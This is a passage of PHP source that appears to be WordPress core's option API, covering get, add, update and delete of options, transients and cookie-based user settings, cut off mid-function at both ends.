* `$default`, which is used as the fallback value in the event the option
* doesn't exist elsewhere in get_option(). Default false (to skip past the
* short-circuit).
* @param string $option Option name.
* @param mixed $default The fallback value to return if the option does not exist.
* Default is false.
*/
$pre = apply_filters( "pre_option_{$option}", false, $option, $default );
if ( false !== $pre ) {
return $pre;
}
if ( defined( 'WP_SETUP_CONFIG' ) ) {
return false;
}
// Distinguish between `false` as a default, and not passing one.
$passed_default = func_num_args() > 1;
if ( ! wp_installing() ) {
// prevent non-existent options from triggering multiple queries
$notoptions = wp_cache_get( 'notoptions', 'options' );
if ( isset( $notoptions[ $option ] ) ) {
/**
* Filters the default value for an option.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 3.4.0
* @since 4.4.0 The `$option` parameter was added.
* @since 4.7.0 The `$passed_default` parameter was added to distinguish between a `false` value and the default parameter value.
*
* @param mixed $default The default value to return if the option does not exist
* in the database.
* @param string $option Option name.
* @param bool $passed_default Was `get_option()` passed a default value?
*/
return apply_filters( "default_option_{$option}", $default, $option, $passed_default );
}
$alloptions = wp_load_alloptions();
if ( isset( $alloptions[ $option ] ) ) {
$value = $alloptions[ $option ];
} else {
$value = wp_cache_get( $option, 'options' );
if ( false === $value ) {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
// Has to be get_row instead of get_var because of funkiness with 0, false, null values
if ( is_object( $row ) ) {
$value = $row->option_value;
wp_cache_add( $option, $value, 'options' );
} else { // option does not exist, so we must cache its non-existence
if ( ! is_array( $notoptions ) ) {
$notoptions = array();
}
$notoptions[ $option ] = true;
wp_cache_set( 'notoptions', $notoptions, 'options' );
/** This filter is documented in wp-includes/option.php */
return apply_filters( "default_option_{$option}", $default, $option, $passed_default );
}
}
}
} else {
$suppress = $wpdb->suppress_errors();
$row = $wpdb->get_row( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s LIMIT 1", $option ) );
$wpdb->suppress_errors( $suppress );
if ( is_object( $row ) ) {
$value = $row->option_value;
} else {
/** This filter is documented in wp-includes/option.php */
return apply_filters( "default_option_{$option}", $default, $option, $passed_default );
}
}
// If home is not set use siteurl.
if ( 'home' == $option && '' == $value ) {
return get_option( 'siteurl' );
}
if ( in_array( $option, array( 'siteurl', 'home', 'category_base', 'tag_base' ) ) ) {
$value = untrailingslashit( $value );
}
/**
* Filters the value of an existing option.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 1.5.0 As 'option_' . $setting
* @since 3.0.0
* @since 4.4.0 The `$option` parameter was added.
*
* @param mixed $value Value of the option. If stored serialized, it will be
* unserialized prior to being returned.
* @param string $option Option name.
*/
return apply_filters( "option_{$option}", maybe_unserialize( $value ), $option );
}
/**
* Protect WordPress special option from being modified.
*
* Will die if $option is in protected list. Protected options are 'alloptions'
* and 'notoptions' options.
*
* @since 2.2.0
*
* @param string $option Option name.
*/
function wp_protect_special_option( $option ) {
if ( 'alloptions' === $option || 'notoptions' === $option ) {
wp_die( sprintf( __( '%s is a protected WP option and may not be modified' ), esc_html( $option ) ) );
}
}
/**
* Print option value after sanitizing for forms.
*
* @since 1.5.0
*
* @param string $option Option name.
*/
function form_option( $option ) {
echo esc_attr( get_option( $option ) );
}
/**
* Loads and caches all autoloaded options, if available or all options.
*
* @since 2.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return array List of all options.
*/
function wp_load_alloptions() {
global $wpdb;
if ( ! wp_installing() || ! is_multisite() ) {
$alloptions = wp_cache_get( 'alloptions', 'options' );
} else {
$alloptions = false;
}
if ( ! $alloptions ) {
$suppress = $wpdb->suppress_errors();
if ( ! $alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" ) ) {
$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
}
$wpdb->suppress_errors( $suppress );
$alloptions = array();
foreach ( (array) $alloptions_db as $o ) {
$alloptions[ $o->option_name ] = $o->option_value;
}
if ( ! wp_installing() || ! is_multisite() ) {
/**
* Filters all options before caching them.
*
* @since 4.9.0
*
* @param array $alloptions Array with all options.
*/
$alloptions = apply_filters( 'pre_cache_alloptions', $alloptions );
wp_cache_add( 'alloptions', $alloptions, 'options' );
}
}
/**
* Filters all options after retrieving them.
*
* @since 4.9.0
*
* @param array $alloptions Array with all options.
*/
return apply_filters( 'alloptions', $alloptions );
}
/**
* Loads and caches certain often requested site options if is_multisite() and a persistent cache is not being used.
*
* @since 3.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $network_id Optional site ID for which to query the options. Defaults to the current site.
*/
function wp_load_core_site_options( $network_id = null ) {
global $wpdb;
if ( ! is_multisite() || wp_using_ext_object_cache() || wp_installing() ) {
return;
}
if ( empty( $network_id ) ) {
$network_id = get_current_network_id();
}
$core_options = array( 'site_name', 'siteurl', 'active_sitewide_plugins', '_site_transient_timeout_theme_roots', '_site_transient_theme_roots', 'site_admins', 'can_compress_scripts', 'global_terms_enabled', 'ms_files_rewriting' );
$core_options_in = "'" . implode( "', '", $core_options ) . "'";
$options = $wpdb->get_results( $wpdb->prepare( "SELECT meta_key, meta_value FROM $wpdb->sitemeta WHERE meta_key IN ($core_options_in) AND site_id = %d", $network_id ) );
foreach ( $options as $option ) {
$key = $option->meta_key;
$cache_key = "{$network_id}:$key";
$option->meta_value = maybe_unserialize( $option->meta_value );
wp_cache_set( $cache_key, $option->meta_value, 'site-options' );
}
}
/**
* Update the value of an option that was already added.
*
* You do not need to serialize values. If the value needs to be serialized, then
* it will be serialized before it is inserted into the database. Remember,
* resources can not be serialized or added as an option.
*
* If the option does not exist, then the option will be added with the option value,
* with an `$autoload` value of 'yes'.
*
* @since 1.0.0
* @since 4.2.0 The `$autoload` parameter was added.
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $option Option name. Expected to not be SQL-escaped.
* @param mixed $value Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
* @param string|bool $autoload Optional. Whether to load the option when WordPress starts up. For existing options,
* `$autoload` can only be updated using `update_option()` if `$value` is also changed.
* Accepts 'yes'|true to enable or 'no'|false to disable. For non-existent options,
* the default value is 'yes'. Default null.
* @return bool False if value was not updated and true if value was updated.
*/
function update_option( $option, $value, $autoload = null ) {
global $wpdb;
$option = trim( $option );
if ( empty( $option ) ) {
return false;
}
wp_protect_special_option( $option );
if ( is_object( $value ) ) {
$value = clone $value;
}
$value = sanitize_option( $option, $value );
$old_value = get_option( $option );
/**
* Filters a specific option before its value is (maybe) serialized and updated.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 2.6.0
* @since 4.4.0 The `$option` parameter was added.
*
* @param mixed $value The new, unserialized option value.
* @param mixed $old_value The old option value.
* @param string $option Option name.
*/
$value = apply_filters( "pre_update_option_{$option}", $value, $old_value, $option );
/**
* Filters an option before its value is (maybe) serialized and updated.
*
* @since 3.9.0
*
* @param mixed $value The new, unserialized option value.
* @param string $option Name of the option.
* @param mixed $old_value The old option value.
*/
$value = apply_filters( 'pre_update_option', $value, $option, $old_value );
/*
* If the new and old values are the same, no need to update.
*
* Unserialized values will be adequate in most cases. If the unserialized
* data differs, the (maybe) serialized data is checked to avoid
* unnecessary database calls for otherwise identical object instances.
*
* See https://core.trac.wordpress.org/ticket/38903
*/
if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) {
return false;
}
/** This filter is documented in wp-includes/option.php */
if ( apply_filters( "default_option_{$option}", false, $option, false ) === $old_value ) {
// Default setting for new options is 'yes'.
if ( null === $autoload ) {
$autoload = 'yes';
}
return add_option( $option, $value, '', $autoload );
}
$serialized_value = maybe_serialize( $value );
/**
* Fires immediately before an option value is updated.
*
* @since 2.9.0
*
* @param string $option Name of the option to update.
* @param mixed $old_value The old option value.
* @param mixed $value The new option value.
*/
do_action( 'update_option', $option, $old_value, $value );
$update_args = array(
'option_value' => $serialized_value,
);
if ( null !== $autoload ) {
$update_args['autoload'] = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes';
}
$result = $wpdb->update( $wpdb->options, $update_args, array( 'option_name' => $option ) );
if ( ! $result ) {
return false;
}
$notoptions = wp_cache_get( 'notoptions', 'options' );
if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
unset( $notoptions[ $option ] );
wp_cache_set( 'notoptions', $notoptions, 'options' );
}
if ( ! wp_installing() ) {
$alloptions = wp_load_alloptions();
if ( isset( $alloptions[ $option ] ) ) {
$alloptions[ $option ] = $serialized_value;
wp_cache_set( 'alloptions', $alloptions, 'options' );
} else {
wp_cache_set( $option, $serialized_value, 'options' );
}
}
/**
* Fires after the value of a specific option has been successfully updated.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 2.0.1
* @since 4.4.0 The `$option` parameter was added.
*
* @param mixed $old_value The old option value.
* @param mixed $value The new option value.
* @param string $option Option name.
*/
do_action( "update_option_{$option}", $old_value, $value, $option );
/**
* Fires after the value of an option has been successfully updated.
*
* @since 2.9.0
*
* @param string $option Name of the updated option.
* @param mixed $old_value The old option value.
* @param mixed $value The new option value.
*/
do_action( 'updated_option', $option, $old_value, $value );
return true;
}
/**
* Add a new option.
*
* You do not need to serialize values. If the value needs to be serialized, then
* it will be serialized before it is inserted into the database. Remember,
* resources can not be serialized or added as an option.
*
* You can create options without values and then update the values later.
* Existing options will not be updated and checks are performed to ensure that you
* aren't adding a protected WordPress option. Care should be taken to not name
* options the same as the ones which are protected.
*
* @since 1.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $option Name of option to add. Expected to not be SQL-escaped.
* @param mixed $value Optional. Option value. Must be serializable if non-scalar. Expected to not be SQL-escaped.
* @param string $deprecated Optional. Description. Not used anymore.
* @param string|bool $autoload Optional. Whether to load the option when WordPress starts up.
* Default is enabled. Accepts 'no' to disable for legacy reasons.
* @return bool False if option was not added and true if option was added.
*/
function add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' ) {
global $wpdb;
if ( ! empty( $deprecated ) ) {
_deprecated_argument( __FUNCTION__, '2.3.0' );
}
$option = trim( $option );
if ( empty( $option ) ) {
return false;
}
wp_protect_special_option( $option );
if ( is_object( $value ) ) {
$value = clone $value;
}
$value = sanitize_option( $option, $value );
// Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query
$notoptions = wp_cache_get( 'notoptions', 'options' );
if ( ! is_array( $notoptions ) || ! isset( $notoptions[ $option ] ) ) {
/** This filter is documented in wp-includes/option.php */
if ( apply_filters( "default_option_{$option}", false, $option, false ) !== get_option( $option ) ) {
return false;
}
}
$serialized_value = maybe_serialize( $value );
$autoload = ( 'no' === $autoload || false === $autoload ) ? 'no' : 'yes';
/**
* Fires before an option is added.
*
* @since 2.9.0
*
* @param string $option Name of the option to add.
* @param mixed $value Value of the option.
*/
do_action( 'add_option', $option, $value );
$result = $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $option, $serialized_value, $autoload ) );
if ( ! $result ) {
return false;
}
if ( ! wp_installing() ) {
if ( 'yes' == $autoload ) {
$alloptions = wp_load_alloptions();
$alloptions[ $option ] = $serialized_value;
wp_cache_set( 'alloptions', $alloptions, 'options' );
} else {
wp_cache_set( $option, $serialized_value, 'options' );
}
}
// This option exists now
$notoptions = wp_cache_get( 'notoptions', 'options' ); // yes, again... we need it to be fresh
if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
unset( $notoptions[ $option ] );
wp_cache_set( 'notoptions', $notoptions, 'options' );
}
/**
* Fires after a specific option has been added.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 2.5.0 As "add_option_{$name}"
* @since 3.0.0
*
* @param string $option Name of the option to add.
* @param mixed $value Value of the option.
*/
do_action( "add_option_{$option}", $option, $value );
/**
* Fires after an option has been added.
*
* @since 2.9.0
*
* @param string $option Name of the added option.
* @param mixed $value Value of the option.
*/
do_action( 'added_option', $option, $value );
return true;
}
/**
* Removes option by name. Prevents removal of protected WordPress options.
*
* @since 1.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $option Name of option to remove. Expected to not be SQL-escaped.
* @return bool True, if option is successfully deleted. False on failure.
*/
function delete_option( $option ) {
global $wpdb;
$option = trim( $option );
if ( empty( $option ) ) {
return false;
}
wp_protect_special_option( $option );
// Get the ID, if no ID then return
$row = $wpdb->get_row( $wpdb->prepare( "SELECT autoload FROM $wpdb->options WHERE option_name = %s", $option ) );
if ( is_null( $row ) ) {
return false;
}
/**
* Fires immediately before an option is deleted.
*
* @since 2.9.0
*
* @param string $option Name of the option to delete.
*/
do_action( 'delete_option', $option );
$result = $wpdb->delete( $wpdb->options, array( 'option_name' => $option ) );
if ( ! wp_installing() ) {
if ( 'yes' == $row->autoload ) {
$alloptions = wp_load_alloptions();
if ( is_array( $alloptions ) && isset( $alloptions[ $option ] ) ) {
unset( $alloptions[ $option ] );
wp_cache_set( 'alloptions', $alloptions, 'options' );
}
} else {
wp_cache_delete( $option, 'options' );
}
}
if ( $result ) {
/**
* Fires after a specific option has been deleted.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 3.0.0
*
* @param string $option Name of the deleted option.
*/
do_action( "delete_option_{$option}", $option );
/**
* Fires after an option has been deleted.
*
* @since 2.9.0
*
* @param string $option Name of the deleted option.
*/
do_action( 'deleted_option', $option );
return true;
}
return false;
}
/**
* Delete a transient.
*
* @since 2.8.0
*
* @param string $transient Transient name. Expected to not be SQL-escaped.
* @return bool true if successful, false otherwise
*/
function delete_transient( $transient ) {
/**
* Fires immediately before a specific transient is deleted.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 3.0.0
*
* @param string $transient Transient name.
*/
do_action( "delete_transient_{$transient}", $transient );
if ( wp_using_ext_object_cache() ) {
$result = wp_cache_delete( $transient, 'transient' );
} else {
$option_timeout = '_transient_timeout_' . $transient;
$option = '_transient_' . $transient;
$result = delete_option( $option );
if ( $result ) {
delete_option( $option_timeout );
}
}
if ( $result ) {
/**
* Fires after a transient is deleted.
*
* @since 3.0.0
*
* @param string $transient Deleted transient name.
*/
do_action( 'deleted_transient', $transient );
}
return $result;
}
/**
* Get the value of a transient.
*
* If the transient does not exist, does not have a value, or has expired,
* then the return value will be false.
*
* @since 2.8.0
*
* @param string $transient Transient name. Expected to not be SQL-escaped.
* @return mixed Value of transient.
*/
function get_transient( $transient ) {
/**
* Filters the value of an existing transient.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* Passing a truthy value to the filter will effectively short-circuit retrieval
* of the transient, returning the passed value instead.
*
* @since 2.8.0
* @since 4.4.0 The `$transient` parameter was added
*
* @param mixed $pre_transient The default value to return if the transient does not exist.
* Any value other than false will short-circuit the retrieval
* of the transient, and return the returned value.
* @param string $transient Transient name.
*/
$pre = apply_filters( "pre_transient_{$transient}", false, $transient );
if ( false !== $pre ) {
return $pre;
}
if ( wp_using_ext_object_cache() ) {
$value = wp_cache_get( $transient, 'transient' );
} else {
$transient_option = '_transient_' . $transient;
if ( ! wp_installing() ) {
// If option is not in alloptions, it is not autoloaded and thus has a timeout
$alloptions = wp_load_alloptions();
if ( ! isset( $alloptions[ $transient_option ] ) ) {
$transient_timeout = '_transient_timeout_' . $transient;
$timeout = get_option( $transient_timeout );
if ( false !== $timeout && $timeout < time() ) {
delete_option( $transient_option );
delete_option( $transient_timeout );
$value = false;
}
}
}
if ( ! isset( $value ) ) {
$value = get_option( $transient_option );
}
}
/**
* Filters an existing transient's value.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 2.8.0
* @since 4.4.0 The `$transient` parameter was added
*
* @param mixed $value Value of transient.
* @param string $transient Transient name.
*/
return apply_filters( "transient_{$transient}", $value, $transient );
}
/**
* Set/update the value of a transient.
*
* You do not need to serialize values. If the value needs to be serialized, then
* it will be serialized before it is set.
*
* @since 2.8.0
*
* @param string $transient Transient name. Expected to not be SQL-escaped. Must be
* 172 characters or fewer in length.
* @param mixed $value Transient value. Must be serializable if non-scalar.
* Expected to not be SQL-escaped.
* @param int $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
* @return bool False if value was not set and true if value was set.
*/
function set_transient( $transient, $value, $expiration = 0 ) {
$expiration = (int) $expiration;
/**
* Filters a specific transient before its value is set.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 3.0.0
* @since 4.2.0 The `$expiration` parameter was added.
* @since 4.4.0 The `$transient` parameter was added.
*
* @param mixed $value New value of transient.
* @param int $expiration Time until expiration in seconds.
* @param string $transient Transient name.
*/
$value = apply_filters( "pre_set_transient_{$transient}", $value, $expiration, $transient );
/**
* Filters the expiration for a transient before its value is set.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 4.4.0
*
* @param int $expiration Time until expiration in seconds. Use 0 for no expiration.
* @param mixed $value New value of transient.
* @param string $transient Transient name.
*/
$expiration = apply_filters( "expiration_of_transient_{$transient}", $expiration, $value, $transient );
if ( wp_using_ext_object_cache() ) {
$result = wp_cache_set( $transient, $value, 'transient', $expiration );
} else {
$transient_timeout = '_transient_timeout_' . $transient;
$transient_option = '_transient_' . $transient;
if ( false === get_option( $transient_option ) ) {
$autoload = 'yes';
if ( $expiration ) {
$autoload = 'no';
add_option( $transient_timeout, time() + $expiration, '', 'no' );
}
$result = add_option( $transient_option, $value, '', $autoload );
} else {
// If expiration is requested, but the transient has no timeout option,
// delete, then re-create transient rather than update.
$update = true;
if ( $expiration ) {
if ( false === get_option( $transient_timeout ) ) {
delete_option( $transient_option );
add_option( $transient_timeout, time() + $expiration, '', 'no' );
$result = add_option( $transient_option, $value, '', 'no' );
$update = false;
} else {
update_option( $transient_timeout, time() + $expiration );
}
}
if ( $update ) {
$result = update_option( $transient_option, $value );
}
}
}
if ( $result ) {
/**
* Fires after the value for a specific transient has been set.
*
* The dynamic portion of the hook name, `$transient`, refers to the transient name.
*
* @since 3.0.0
* @since 3.6.0 The `$value` and `$expiration` parameters were added.
* @since 4.4.0 The `$transient` parameter was added.
*
* @param mixed $value Transient value.
* @param int $expiration Time until expiration in seconds.
* @param string $transient The name of the transient.
*/
do_action( "set_transient_{$transient}", $value, $expiration, $transient );
/**
* Fires after the value for a transient has been set.
*
* @since 3.0.0
* @since 3.6.0 The `$value` and `$expiration` parameters were added.
*
* @param string $transient The name of the transient.
* @param mixed $value Transient value.
* @param int $expiration Time until expiration in seconds.
*/
do_action( 'setted_transient', $transient, $value, $expiration );
}
return $result;
}
/**
* Deletes all expired transients.
*
* The multi-table delete syntax is used to delete the transient record
* from table a, and the corresponding transient_timeout record from table b.
*
* @since 4.9.0
*
* @param bool $force_db Optional. Force cleanup to run against the database even when an external object cache is used.
*/
function delete_expired_transients( $force_db = false ) {
global $wpdb;
if ( ! $force_db && wp_using_ext_object_cache() ) {
return;
}
$wpdb->query(
$wpdb->prepare(
"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
WHERE a.option_name LIKE %s
AND a.option_name NOT LIKE %s
AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) )
AND b.option_value < %d",
$wpdb->esc_like( '_transient_' ) . '%',
$wpdb->esc_like( '_transient_timeout_' ) . '%',
time()
)
);
if ( ! is_multisite() ) {
// non-Multisite stores site transients in the options table.
$wpdb->query(
$wpdb->prepare(
"DELETE a, b FROM {$wpdb->options} a, {$wpdb->options} b
WHERE a.option_name LIKE %s
AND a.option_name NOT LIKE %s
AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) )
AND b.option_value < %d",
$wpdb->esc_like( '_site_transient_' ) . '%',
$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
time()
)
);
} elseif ( is_multisite() && is_main_site() && is_main_network() ) {
// Multisite stores site transients in the sitemeta table.
$wpdb->query(
$wpdb->prepare(
"DELETE a, b FROM {$wpdb->sitemeta} a, {$wpdb->sitemeta} b
WHERE a.meta_key LIKE %s
AND a.meta_key NOT LIKE %s
AND b.meta_key = CONCAT( '_site_transient_timeout_', SUBSTRING( a.meta_key, 17 ) )
AND b.meta_value < %d",
$wpdb->esc_like( '_site_transient_' ) . '%',
$wpdb->esc_like( '_site_transient_timeout_' ) . '%',
time()
)
);
}
}
/**
* Saves and restores user interface settings stored in a cookie.
*
* Checks if the current user-settings cookie is updated and stores it. When no
* cookie exists (different browser used), adds the last saved cookie restoring
* the settings.
*
* @since 2.7.0
*/
function wp_user_settings() {
if ( ! is_admin() || wp_doing_ajax() ) {
return;
}
if ( ! $user_id = get_current_user_id() ) {
return;
}
if ( ! is_user_member_of_blog() ) {
return;
}
$settings = (string) get_user_option( 'user-settings', $user_id );
if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) {
$cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] );
// No change or both empty
if ( $cookie == $settings ) {
return;
}
$last_saved = (int) get_user_option( 'user-settings-time', $user_id );
$current = isset( $_COOKIE[ 'wp-settings-time-' . $user_id ] ) ? preg_replace( '/[^0-9]/', '', $_COOKIE[ 'wp-settings-time-' . $user_id ] ) : 0;
// The cookie is newer than the saved value. Update the user_option and leave the cookie as-is
if ( $current > $last_saved ) {
update_user_option( $user_id, 'user-settings', $cookie, false );
update_user_option( $user_id, 'user-settings-time', time() - 5, false );
return;
}
}
// The cookie is not set in the current browser or the saved value is newer.
$secure = ( 'https' === parse_url( admin_url(), PHP_URL_SCHEME ) );
setcookie( 'wp-settings-' . $user_id, $settings, time() + YEAR_IN_SECONDS, SITECOOKIEPATH, null, $secure );
setcookie( 'wp-settings-time-' . $user_id, time(), time() + YEAR_IN_SECONDS, SITECOOKIEPATH, null, $secure );
$_COOKIE[ 'wp-settings-' . $user_id ] = $settings;
}
/**
* Retrieve user interface setting value based on setting name.
*
* @since 2.7.0
*
* @param string $name The name of the setting.
* @param string $default Optional default value to return when $name is not set.
* @return mixed the last saved user setting or the default value/false if it doesn't exist.
*/
function get_user_setting( $name, $default = false ) {
$all_user_settings = get_all_user_settings();
return isset( $all_user_settings[ $name ] ) ? $all_user_settings[ $name ] : $default;
}
/**
* Add or update user interface setting.
*
* Both $name and $value can contain only ASCII letters, numbers and underscores.
*
* This function has to be used before any output has started as it calls setcookie().
*
* @since 2.8.0
*
* @param string $name The name of the setting.
* @param string $value The value for the setting.
* @return bool|null True if set successfully, false if not. Null if the current user can't be established.
*/
function set_user_setting( $name, $value ) {
if ( headers_sent() ) {
return false;
}
$all_user_settings = get_all_user_settings();
$all_user_settings[ $name ] = $value;
return wp_set_all_user_settings( $all_user_settings );
}
/**
* Delete user interface settings.
*
* Deleting settings would reset them to the defaults.
*
* This function has to be used before any output has started as it calls setcookie().
*
* @since 2.7.0
*
* @param string $names The name or array of names of the setting to be deleted.
* @return bool|null True if deleted successfully, false if not. Null if the current user can't be established.
*/
function delete_user_setting( $names ) {
if ( headers_sent() ) {
return false;
}
$all_user_settings = get_all_user_settings();
$names = (array) $names;
$deleted = false;
foreach ( $names as $name ) {
if ( isset( $all_user_settings[ $name ] ) ) {
unset( $all_user_settings[ $name ] );
$deleted = true;
}
}
if ( $deleted ) {
return wp_set_all_user_settings( $all_user_settings );
}
return false;
}
/**
* Retrieve all user interface settings.
*
* @since 2.7.0
*
* @global array $_updated_user_settings
*
* @return array the last saved user settings or empty array.
*/
function get_all_user_settings() {
global $_updated_user_settings;
if ( ! $user_id = get_current_user_id() ) {
return array();
}
if ( isset( $_updated_user_settings ) && is_array( $_updated_user_settings ) ) {
return $_updated_user_settings;
}
$user_settings = array();
if ( isset( $_COOKIE[ 'wp-settings-' . $user_id ] ) ) {
$cookie = preg_replace( '/[^A-Za-z0-9=&_-]/', '', $_COOKIE[ 'wp-settings-' . $user_id ] );
if ( strpos( $cookie, '=' ) ) { // '=' cannot be 1st char
parse_str( $cookie, $user_settings );
}
} else {
$option = get_user_option( 'user-settings', $user_id );
if ( $option && is_string( $option ) ) {
parse_str( $option, $user_settings );
}
}
$_updated_user_settings = $user_settings;
return $user_settings;
}
/**
* Private. Set all user interface settings.
*
* @since 2.8.0
* @access private
*
* @global array $_updated_user_settings
*
* @param array $user_settings User settings.
* @return bool|null False if the current user can't be found, null if the current
* user is not a super admin or a member of the site, otherwise true.
*/
function wp_set_all_user_settings( $user_settings ) {
global $_updated_user_settings;
if ( ! $user_id = get_current_user_id() ) {
return false;
}
if ( ! is_user_member_of_blog() ) {
return;
}
$settings = '';
foreach ( $user_settings as $name => $value ) {
$_name = preg_replace( '/[^A-Za-z0-9_-]+/', '', $name );
$_value = preg_replace( '/[^A-Za-z0-9_-]+/', '', $value );
if ( ! empty( $_name ) ) {
$settings .= $_name . '=' . $_value . '&';
}
}
$settings = rtrim( $settings, '&' );
parse_str( $settings, $_updated_user_settings );
update_user_option( $user_id, 'user-settings', $settings, false );
update_user_option( $user_id, 'user-settings-time', time(), false );
return true;
}
/**
* Delete the user settings of the current user.
*
* @since 2.7.0
*/
function delete_all_user_settings() {
if ( ! $user_id = get_current_user_id() ) {
return;
}
update_user_option( $user_id, 'user-settings', '', false );
setcookie( 'wp-settings-' . $user_id, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
}
/**
* Retrieve an option value for the current network based on name of option.
*
* @since 2.8.0
* @since 4.4.0 The `$use_cache` parameter was deprecated.
* @since 4.4.0 Modified into wrapper for get_network_option()
*
* @see get_network_option()
*
* @param string $option Name of option to retrieve. Expected to not be SQL-escaped.
* @param mixed $default Optional value to return if option doesn't exist. Default false.
* @param bool $deprecated Whether to use cache. Multisite only. Always set to true.
* @return mixed Value set for the option.
*/
function get_site_option( $option, $default = false, $deprecated = true ) {
return get_network_option( null, $option, $default );
}
/**
* Add a new option for the current network.
*
* Existing options will not be updated. Note that prior to 3.3 this wasn't the case.
*
* @since 2.8.0
* @since 4.4.0 Modified into wrapper for add_network_option()
*
* @see add_network_option()
*
* @param string $option Name of option to add. Expected to not be SQL-escaped.
* @param mixed $value Option value, can be anything. Expected to not be SQL-escaped.
* @return bool False if the option was not added. True if the option was added.
*/
function add_site_option( $option, $value ) {
return add_network_option( null, $option, $value );
}
/**
* Removes a option by name for the current network.
*
* @since 2.8.0
* @since 4.4.0 Modified into wrapper for delete_network_option()
*
* @see delete_network_option()
*
* @param string $option Name of option to remove. Expected to not be SQL-escaped.
* @return bool True, if succeed. False, if failure.
*/
function delete_site_option( $option ) {
return delete_network_option( null, $option );
}
/**
* Update the value of an option that was already added for the current network.
*
* @since 2.8.0
* @since 4.4.0 Modified into wrapper for update_network_option()
*
* @see update_network_option()
*
* @param string $option Name of option. Expected to not be SQL-escaped.
* @param mixed $value Option value. Expected to not be SQL-escaped.
* @return bool False if value was not updated. True if value was updated.
*/
function update_site_option( $option, $value ) {
return update_network_option( null, $option, $value );
}
/**
* Retrieve a network's option value based on the option name.
*
* @since 4.4.0
*
* @see get_option()
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $network_id ID of the network. Can be null to default to the current network ID.
* @param string $option Name of option to retrieve. Expected to not be SQL-escaped.
* @param mixed $default Optional. Value to return if the option doesn't exist. Default false.
* @return mixed Value set for the option.
*/
function get_network_option( $network_id, $option, $default = false ) {
global $wpdb;
if ( $network_id && ! is_numeric( $network_id ) ) {
return false;
}
$network_id = (int) $network_id;
// Fallback to the current network if a network ID is not specified.
if ( ! $network_id ) {
$network_id = get_current_network_id();
}
/**
* Filters an existing network option before it is retrieved.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* Passing a truthy value to the filter will effectively short-circuit retrieval,
* returning the passed value instead.
*
* @since 2.9.0 As 'pre_site_option_' . $key
* @since 3.0.0
* @since 4.4.0 The `$option` parameter was added.
* @since 4.7.0 The `$network_id` parameter was added.
* @since 4.9.0 The `$default` parameter was added.
*
* @param mixed $pre_option The value to return instead of the option value. This differs from
* `$default`, which is used as the fallback value in the event the
* option doesn't exist elsewhere in get_network_option(). Default
* is false (to skip past the short-circuit).
* @param string $option Option name.
* @param int $network_id ID of the network.
* @param mixed $default The fallback value to return if the option does not exist.
* Default is false.
*/
$pre = apply_filters( "pre_site_option_{$option}", false, $option, $network_id, $default );
if ( false !== $pre ) {
return $pre;
}
// prevent non-existent options from triggering multiple queries
$notoptions_key = "$network_id:notoptions";
$notoptions = wp_cache_get( $notoptions_key, 'site-options' );
if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) {
/**
* Filters a specific default network option.
*
* The dynamic portion of the hook name, `$option`, refers to the option name.
*
* @since 3.4.0
* @since 4.4.0 The `$option` parameter was added.
* @since 4.7.0 The `$network_id` parameter was added.
*
* @param mixed $default The value to return if the site option does not exist
* in the database.
* @param string $option Option name.
* @param int $network_id ID of the network.
*/
return apply_filters( "default_site_option_{$option}", $default, $option, $network_id );
}
if ( ! is_multisite() ) {
/** This filter is documented in wp-includes/option.php */
$default = apply_filters( 'default_site_option_' . $option, $default, $option, $network_id );
$value = get_option( $option, $default );
} else {
$cache_key = "$network_id:$option";
$value = wp_cache_get( $cache_key, 'site-options' );
if ( ! isset( $value ) || false === $value ) {
$row = $wpdb->get_row( $wpdb->prepare( "SELECT meta_value FROM $wpdb->sitemeta WHERE meta_key = %s AND site_id = %d", $option, $network_id ) );
// Has to be get_row instead of get_var because of funkiness with 0, false, null values
if ( is_object( $row ) ) {
$value = $row->meta_value;
